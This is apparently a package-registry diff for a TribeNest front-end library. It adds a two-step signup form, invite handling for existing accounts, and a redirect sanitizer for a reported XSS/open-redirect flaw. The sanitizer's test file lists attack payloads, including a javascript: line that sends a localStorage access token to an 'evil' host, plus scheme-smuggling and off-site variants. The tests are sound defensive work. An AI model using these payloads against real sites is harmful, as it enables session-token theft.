@tribe-nest/forge 2.2.0 → 3.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/client/createForgeClient.ts +85 -2
- package/src/client/tokenStorage.ts +31 -0
- package/src/contexts/AppAuthContext.tsx +100 -15
- package/src/contexts/PublicAuthContext.tsx +46 -9
- package/src/data/queries/useCourseAccess.ts +1 -1
- package/src/index.ts +10 -2
- package/src/provider/ForgeProvider.tsx +30 -1
- package/src/server/_tests/platformEvents.spec.ts +315 -0
- package/src/server/index.ts +17 -0
- package/src/server/jobs.ts +41 -10
- package/src/server/platform.ts +234 -9
- package/src/server/platformEvents.generated.ts +422 -0
- package/src/types/models.ts +44 -3
- package/src/ui/headless/auth/useSignupForm.ts +69 -4
- package/src/ui/headless/work/useWorkPortal.ts +24 -21
- package/src/ui/styled/SignupForm.tsx +86 -35
- package/src/ui/styled/work/WorkInviteAccept.tsx +54 -5
- package/src/utils/_tests/safeRedirect.spec.ts +117 -0
- package/src/utils/safeRedirect.ts +41 -0
|
@@ -52,51 +52,102 @@ export function SignupForm({ onSuccess, loginHref, membershipTierId, couponCode
|
|
|
52
52
|
|
|
53
53
|
return (
|
|
54
54
|
<div style={card}>
|
|
55
|
-
<h1 style={{ fontSize: 24, fontWeight: 700, marginBottom: 24 }}>
|
|
55
|
+
<h1 style={{ fontSize: 24, fontWeight: 700, marginBottom: 24 }}>
|
|
56
|
+
{form.awaitingCode ? "Check your email" : "Create your account"}
|
|
57
|
+
</h1>
|
|
56
58
|
{form.error && <p style={{ color: "#ef4444", marginBottom: 16 }}>{form.error}</p>}
|
|
57
59
|
<form
|
|
58
60
|
onSubmit={(e) => {
|
|
59
61
|
e.preventDefault();
|
|
60
|
-
|
|
62
|
+
// Signup is two steps: create, then redeem the emailed code.
|
|
63
|
+
if (form.awaitingCode) form.submitCode();
|
|
64
|
+
else form.submit();
|
|
61
65
|
}}
|
|
62
66
|
style={{ display: "flex", flexDirection: "column", gap: 16 }}
|
|
63
67
|
>
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
68
|
+
{form.awaitingCode ? (
|
|
69
|
+
<>
|
|
70
|
+
<p style={{ fontSize: 14, margin: 0 }}>
|
|
71
|
+
We emailed a 6-digit code to <strong>{form.email}</strong>. Enter it to finish creating your account.
|
|
72
|
+
</p>
|
|
73
|
+
{field(
|
|
74
|
+
"Verification code",
|
|
75
|
+
<input
|
|
76
|
+
inputMode="numeric"
|
|
77
|
+
autoComplete="one-time-code"
|
|
78
|
+
value={form.code}
|
|
79
|
+
onChange={(e) => form.setCode(e.target.value)}
|
|
80
|
+
style={input}
|
|
81
|
+
placeholder="123456"
|
|
82
|
+
/>,
|
|
83
|
+
)}
|
|
84
|
+
</>
|
|
85
|
+
) : (
|
|
86
|
+
<>
|
|
87
|
+
<div style={{ display: "flex", gap: 12 }}>
|
|
88
|
+
{field(
|
|
89
|
+
"First name",
|
|
90
|
+
<input
|
|
91
|
+
value={form.firstName}
|
|
92
|
+
onChange={(e) => form.setFirstName(e.target.value)}
|
|
93
|
+
style={input}
|
|
94
|
+
placeholder="First name"
|
|
95
|
+
/>,
|
|
96
|
+
)}
|
|
97
|
+
{field(
|
|
98
|
+
"Last name",
|
|
99
|
+
<input
|
|
100
|
+
value={form.lastName}
|
|
101
|
+
onChange={(e) => form.setLastName(e.target.value)}
|
|
102
|
+
style={input}
|
|
103
|
+
placeholder="Last name"
|
|
104
|
+
/>,
|
|
105
|
+
)}
|
|
106
|
+
</div>
|
|
107
|
+
{field(
|
|
108
|
+
"Email",
|
|
109
|
+
<input
|
|
110
|
+
type="email"
|
|
111
|
+
value={form.email}
|
|
112
|
+
onChange={(e) => form.setEmail(e.target.value)}
|
|
113
|
+
style={input}
|
|
114
|
+
placeholder="Email"
|
|
115
|
+
/>,
|
|
116
|
+
)}
|
|
117
|
+
{field(
|
|
118
|
+
"Password",
|
|
119
|
+
<input
|
|
120
|
+
type="password"
|
|
121
|
+
value={form.password}
|
|
122
|
+
onChange={(e) => form.setPassword(e.target.value)}
|
|
123
|
+
style={input}
|
|
124
|
+
placeholder="At least 8 characters"
|
|
125
|
+
/>,
|
|
126
|
+
)}
|
|
127
|
+
<label style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 13 }}>
|
|
128
|
+
<input
|
|
129
|
+
type="checkbox"
|
|
130
|
+
checked={form.acceptedTerms}
|
|
131
|
+
onChange={(e) => form.setAcceptedTerms(e.target.checked)}
|
|
132
|
+
style={{ accentColor: theme.colors.primary }}
|
|
133
|
+
/>
|
|
134
|
+
I accept the Terms and Privacy Policy
|
|
135
|
+
</label>
|
|
136
|
+
</>
|
|
77
137
|
)}
|
|
78
|
-
{field(
|
|
79
|
-
"Password",
|
|
80
|
-
<input
|
|
81
|
-
type="password"
|
|
82
|
-
value={form.password}
|
|
83
|
-
onChange={(e) => form.setPassword(e.target.value)}
|
|
84
|
-
style={input}
|
|
85
|
-
placeholder="At least 8 characters"
|
|
86
|
-
/>,
|
|
87
|
-
)}
|
|
88
|
-
<label style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 13 }}>
|
|
89
|
-
<input
|
|
90
|
-
type="checkbox"
|
|
91
|
-
checked={form.acceptedTerms}
|
|
92
|
-
onChange={(e) => form.setAcceptedTerms(e.target.checked)}
|
|
93
|
-
style={{ accentColor: theme.colors.primary }}
|
|
94
|
-
/>
|
|
95
|
-
I accept the Terms and Privacy Policy
|
|
96
|
-
</label>
|
|
97
138
|
<button type="submit" disabled={form.isSubmitting} style={button}>
|
|
98
|
-
{form.isSubmitting ? "
|
|
139
|
+
{form.isSubmitting ? "Working…" : form.awaitingCode ? "Verify and continue" : "Sign up"}
|
|
99
140
|
</button>
|
|
141
|
+
{form.awaitingCode && (
|
|
142
|
+
<button
|
|
143
|
+
type="button"
|
|
144
|
+
onClick={() => form.resendCode()}
|
|
145
|
+
disabled={form.isSubmitting}
|
|
146
|
+
style={{ background: "none", border: "none", color: theme.colors.primary, cursor: "pointer", fontSize: 13 }}
|
|
147
|
+
>
|
|
148
|
+
Resend code
|
|
149
|
+
</button>
|
|
150
|
+
)}
|
|
100
151
|
</form>
|
|
101
152
|
<p style={{ marginTop: 16, fontSize: 14, textAlign: "center" }}>
|
|
102
153
|
Already have an account?{" "}
|
|
@@ -3,6 +3,7 @@ import { CheckCircle2, FolderOpen } from "lucide-react";
|
|
|
3
3
|
import { useForgeTheme } from "../../theme/ForgeThemeProvider";
|
|
4
4
|
import { usePublicAuth } from "../../../contexts/PublicAuthContext";
|
|
5
5
|
import { ACCESS_TOKEN_KEY } from "../../../contexts/PublicAuthContext";
|
|
6
|
+
import { PUBLIC_REFRESH_TOKEN_KEY } from "../../../client/tokenStorage";
|
|
6
7
|
import { Loading } from "../Loading";
|
|
7
8
|
import { useAcceptWorkInvite, useWorkInvite } from "../../headless/work/useWorkPortal";
|
|
8
9
|
|
|
@@ -83,7 +84,12 @@ export function WorkInviteAccept({
|
|
|
83
84
|
gap: 8,
|
|
84
85
|
};
|
|
85
86
|
const link: React.CSSProperties = { color: theme.colors.primary, textDecoration: "underline" };
|
|
86
|
-
const eyebrow: React.CSSProperties = {
|
|
87
|
+
const eyebrow: React.CSSProperties = {
|
|
88
|
+
fontSize: 13,
|
|
89
|
+
color: theme.colors.primary,
|
|
90
|
+
fontWeight: 700,
|
|
91
|
+
letterSpacing: 0.3,
|
|
92
|
+
};
|
|
87
93
|
const heading: React.CSSProperties = { fontSize: 22, fontWeight: 800, margin: "6px 0 14px" };
|
|
88
94
|
const sub: React.CSSProperties = { fontSize: 14, color: `${theme.colors.text}b3`, marginBottom: 22 };
|
|
89
95
|
|
|
@@ -152,6 +158,42 @@ export function WorkInviteAccept({
|
|
|
152
158
|
);
|
|
153
159
|
}
|
|
154
160
|
|
|
161
|
+
/**
|
|
162
|
+
* The invited address already has a TribeNest account (C10). An invite grants
|
|
163
|
+
* portal ACCESS; it is not a credential reset for an account whose owner
|
|
164
|
+
* never asked for one — so there is no password form here, only a sign-in
|
|
165
|
+
* link. Accepting still runs, to consume the invite and link the contact.
|
|
166
|
+
*/
|
|
167
|
+
if (invite.requiresExistingLogin) {
|
|
168
|
+
return (
|
|
169
|
+
<div style={card} data-testid="work-invite-accept">
|
|
170
|
+
{header}
|
|
171
|
+
<p style={sub}>
|
|
172
|
+
<strong>{invite.email}</strong> already has an account. Sign in and the project will be waiting for you.
|
|
173
|
+
</p>
|
|
174
|
+
<button
|
|
175
|
+
type="button"
|
|
176
|
+
style={button}
|
|
177
|
+
disabled={submitting}
|
|
178
|
+
data-testid="work-invite-signin"
|
|
179
|
+
onClick={async () => {
|
|
180
|
+
setSubmitting(true);
|
|
181
|
+
try {
|
|
182
|
+
// Consumes the invite and links the contact; returns no session.
|
|
183
|
+
await acceptInvite.mutateAsync({ token, projectId, password: "" });
|
|
184
|
+
} catch {
|
|
185
|
+
// Non-fatal: an already-consumed invite still leaves them able to
|
|
186
|
+
// sign in, which is the whole instruction on this screen.
|
|
187
|
+
}
|
|
188
|
+
window.location.assign(loginHref);
|
|
189
|
+
}}
|
|
190
|
+
>
|
|
191
|
+
Go to sign in
|
|
192
|
+
</button>
|
|
193
|
+
</div>
|
|
194
|
+
);
|
|
195
|
+
}
|
|
196
|
+
|
|
155
197
|
const onAccept = async (e: React.FormEvent) => {
|
|
156
198
|
e.preventDefault();
|
|
157
199
|
setError("");
|
|
@@ -166,9 +208,16 @@ export function WorkInviteAccept({
|
|
|
166
208
|
setSubmitting(true);
|
|
167
209
|
try {
|
|
168
210
|
const result = await acceptInvite.mutateAsync({ token, projectId, password });
|
|
169
|
-
|
|
170
|
-
|
|
211
|
+
if (result.requiresLogin || !result.token) {
|
|
212
|
+
// The address turned out to already have an account — no session is
|
|
213
|
+
// issued for it (C10). Send them to sign in.
|
|
214
|
+
window.location.assign(loginHref);
|
|
215
|
+
return;
|
|
216
|
+
}
|
|
217
|
+
// Persist the fresh portal session (access + rotating refresh token) and
|
|
218
|
+
// hard-navigate so the auth context re-initializes as the invited client.
|
|
171
219
|
localStorage.setItem(ACCESS_TOKEN_KEY, result.token);
|
|
220
|
+
if (result.refreshToken) localStorage.setItem(PUBLIC_REFRESH_TOKEN_KEY, result.refreshToken);
|
|
172
221
|
window.location.assign(projectHref);
|
|
173
222
|
} catch (err) {
|
|
174
223
|
setError(msg(err) || "Something went wrong. Please try again.");
|
|
@@ -182,8 +231,8 @@ export function WorkInviteAccept({
|
|
|
182
231
|
<p style={sub}>
|
|
183
232
|
{isAuthenticated && currentEmail && currentEmail !== invitedEmail ? (
|
|
184
233
|
<>
|
|
185
|
-
You're signed in as <strong>{user?.email}</strong>, but this invite is for{
|
|
186
|
-
|
|
234
|
+
You're signed in as <strong>{user?.email}</strong>, but this invite is for <strong>{invite.email}</strong>.
|
|
235
|
+
Set a password to continue as {invite.email}.
|
|
187
236
|
</>
|
|
188
237
|
) : (
|
|
189
238
|
<>
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
import { describe, expect, it } from "vitest";
|
|
2
|
+
import { safeRedirectPath } from "../safeRedirect";
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* C13 — reflected `javascript:` XSS and open redirect on every tenant member
|
|
6
|
+
* portal.
|
|
7
|
+
*
|
|
8
|
+
* `?redirect=` went straight to `window.location.href` in the platform-owned
|
|
9
|
+
* login/signup templates, so the payload fired after a LEGITIMATE login on the
|
|
10
|
+
* artist's real domain — and the stolen fan token was not profile-scoped, so it
|
|
11
|
+
* worked against every other artist too.
|
|
12
|
+
*
|
|
13
|
+
* The guard is an allowlist (same-origin root-relative path only), so these
|
|
14
|
+
* specs are mostly about proving the allowlist can't be talked around.
|
|
15
|
+
*/
|
|
16
|
+
describe("safeRedirectPath (C13)", () => {
|
|
17
|
+
const FALLBACK = "/i/account";
|
|
18
|
+
|
|
19
|
+
describe("rejects script-executing schemes", () => {
|
|
20
|
+
const PAYLOADS = [
|
|
21
|
+
// The audit's exact payload.
|
|
22
|
+
"javascript:fetch('//evil/'+localStorage.getItem('public-access-token'))",
|
|
23
|
+
"JavaScript:alert(1)",
|
|
24
|
+
"JAVASCRIPT:alert(1)",
|
|
25
|
+
" javascript:alert(1)",
|
|
26
|
+
"data:text/html,<script>alert(1)</script>",
|
|
27
|
+
"vbscript:msgbox(1)",
|
|
28
|
+
"file:///etc/passwd",
|
|
29
|
+
// Control characters browsers strip while parsing the scheme.
|
|
30
|
+
"java\tscript:alert(1)",
|
|
31
|
+
"java\nscript:alert(1)",
|
|
32
|
+
"java\rscript:alert(1)",
|
|
33
|
+
"\u0000javascript:alert(1)",
|
|
34
|
+
"\u0001javascript:alert(1)",
|
|
35
|
+
];
|
|
36
|
+
|
|
37
|
+
it.each(PAYLOADS)("refuses %j", (payload) => {
|
|
38
|
+
expect(safeRedirectPath(payload)).toBe(FALLBACK);
|
|
39
|
+
});
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
describe("rejects off-site targets", () => {
|
|
43
|
+
const PAYLOADS = [
|
|
44
|
+
"https://evil.example",
|
|
45
|
+
"http://evil.example/path",
|
|
46
|
+
"//evil.example",
|
|
47
|
+
"//evil.example/path",
|
|
48
|
+
"/\\evil.example",
|
|
49
|
+
"/\\\\evil.example",
|
|
50
|
+
"\\\\evil.example",
|
|
51
|
+
"evil.example",
|
|
52
|
+
"https://artist.tribenest.co.evil.example",
|
|
53
|
+
];
|
|
54
|
+
|
|
55
|
+
it.each(PAYLOADS)("refuses %j", (payload) => {
|
|
56
|
+
expect(safeRedirectPath(payload)).toBe(FALLBACK);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
describe("rejects anything that is not a string", () => {
|
|
61
|
+
it.each([undefined, null, 42, {}, [], true])("refuses %j", (value) => {
|
|
62
|
+
expect(safeRedirectPath(value)).toBe(FALLBACK);
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
it("refuses an empty or whitespace-only value", () => {
|
|
66
|
+
expect(safeRedirectPath("")).toBe(FALLBACK);
|
|
67
|
+
expect(safeRedirectPath(" ")).toBe(FALLBACK);
|
|
68
|
+
expect(safeRedirectPath("\t\n")).toBe(FALLBACK);
|
|
69
|
+
});
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
describe("keeps legitimate in-app destinations", () => {
|
|
73
|
+
it.each([
|
|
74
|
+
"/i/account",
|
|
75
|
+
"/i/members",
|
|
76
|
+
"/i/courses/123",
|
|
77
|
+
"/i/checkout?step=2",
|
|
78
|
+
"/i/orders?status=paid&page=3",
|
|
79
|
+
"/i/members#section",
|
|
80
|
+
"/",
|
|
81
|
+
// A path that merely CONTAINS a scheme-looking segment is still a path.
|
|
82
|
+
"/i/redirect?to=https%3A%2F%2Fexample.com",
|
|
83
|
+
])("keeps %j", (path) => {
|
|
84
|
+
expect(safeRedirectPath(path)).toBe(path);
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it("honours a caller-supplied fallback", () => {
|
|
88
|
+
expect(safeRedirectPath("javascript:alert(1)", "/i/home")).toBe("/i/home");
|
|
89
|
+
expect(safeRedirectPath("/i/real")).toBe("/i/real");
|
|
90
|
+
});
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it("never returns a value that could execute or leave the origin", () => {
|
|
94
|
+
// Property-style backstop: whatever comes out is either the fallback or a
|
|
95
|
+
// root-relative path, for every input above and a few fuzzed ones.
|
|
96
|
+
const inputs = [
|
|
97
|
+
"javascript:alert(1)",
|
|
98
|
+
"//evil",
|
|
99
|
+
"/ok",
|
|
100
|
+
"/",
|
|
101
|
+
" /ok ",
|
|
102
|
+
" //evil",
|
|
103
|
+
"/\\evil",
|
|
104
|
+
"data:,x",
|
|
105
|
+
"?just=query",
|
|
106
|
+
"#hash",
|
|
107
|
+
];
|
|
108
|
+
for (const input of inputs) {
|
|
109
|
+
const out = safeRedirectPath(input);
|
|
110
|
+
expect(out.startsWith("/")).toBe(true);
|
|
111
|
+
expect(out.startsWith("//")).toBe(false);
|
|
112
|
+
expect(out.startsWith("/\\")).toBe(false);
|
|
113
|
+
expect(out.toLowerCase()).not.toContain("javascript:");
|
|
114
|
+
expect(out.toLowerCase()).not.toContain("data:");
|
|
115
|
+
}
|
|
116
|
+
});
|
|
117
|
+
});
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Sanitize a `?redirect=` target before navigating to it (C13).
|
|
3
|
+
*
|
|
4
|
+
* The login and signup templates assigned the raw query parameter to
|
|
5
|
+
* `window.location.href`. Two bugs in one line:
|
|
6
|
+
*
|
|
7
|
+
* - **Reflected XSS.** A `javascript:` target executes on the artist's REAL
|
|
8
|
+
* domain, after a genuine successful login — so it steals a live member
|
|
9
|
+
* token from a page the visitor has every reason to trust.
|
|
10
|
+
* - **Open redirect.** An absolute URL sends a just-authenticated fan
|
|
11
|
+
* off-site with the artist's domain as the referrer.
|
|
12
|
+
*
|
|
13
|
+
* The rule is deliberately strict: a same-origin ROOT-RELATIVE path, nothing
|
|
14
|
+
* else. Not "block javascript:" — a scheme denylist loses to tab/newline
|
|
15
|
+
* smuggling, `data:`, `vbscript:`, and whatever the next parser quirk turns out
|
|
16
|
+
* to be. Anything that fails falls back to `fallback`, so a mangled link still
|
|
17
|
+
* lands the user somewhere sensible instead of erroring.
|
|
18
|
+
*
|
|
19
|
+
* Rejected: absolute URLs, scheme-relative (`//evil.example`), the backslash
|
|
20
|
+
* variant (`/\\evil.example`, which browsers normalize to `//`), control
|
|
21
|
+
* characters used to smuggle a scheme past a naive check, and anything not
|
|
22
|
+
* starting with `/`.
|
|
23
|
+
*/
|
|
24
|
+
export const safeRedirectPath = (value: unknown, fallback = "/i/account"): string => {
|
|
25
|
+
if (typeof value !== "string") return fallback;
|
|
26
|
+
|
|
27
|
+
// Strip characters browsers ignore when parsing a URL scheme: a tab or
|
|
28
|
+
// newline inside "java<TAB>script:" is dropped before the scheme is read.
|
|
29
|
+
const cleaned = value.replace(/[\u0000-\u0020]/g, "").trim();
|
|
30
|
+
if (!cleaned) return fallback;
|
|
31
|
+
|
|
32
|
+
// Must be root-relative. This single check rejects `javascript:`, `data:`,
|
|
33
|
+
// `https://evil` and a bare `evil.example` in one go.
|
|
34
|
+
if (!cleaned.startsWith("/")) return fallback;
|
|
35
|
+
|
|
36
|
+
// `//host` and `/\host` are protocol-relative — off-site despite the leading
|
|
37
|
+
// slash.
|
|
38
|
+
if (cleaned.startsWith("//") || cleaned.startsWith("/\\")) return fallback;
|
|
39
|
+
|
|
40
|
+
return cleaned;
|
|
41
|
+
};
|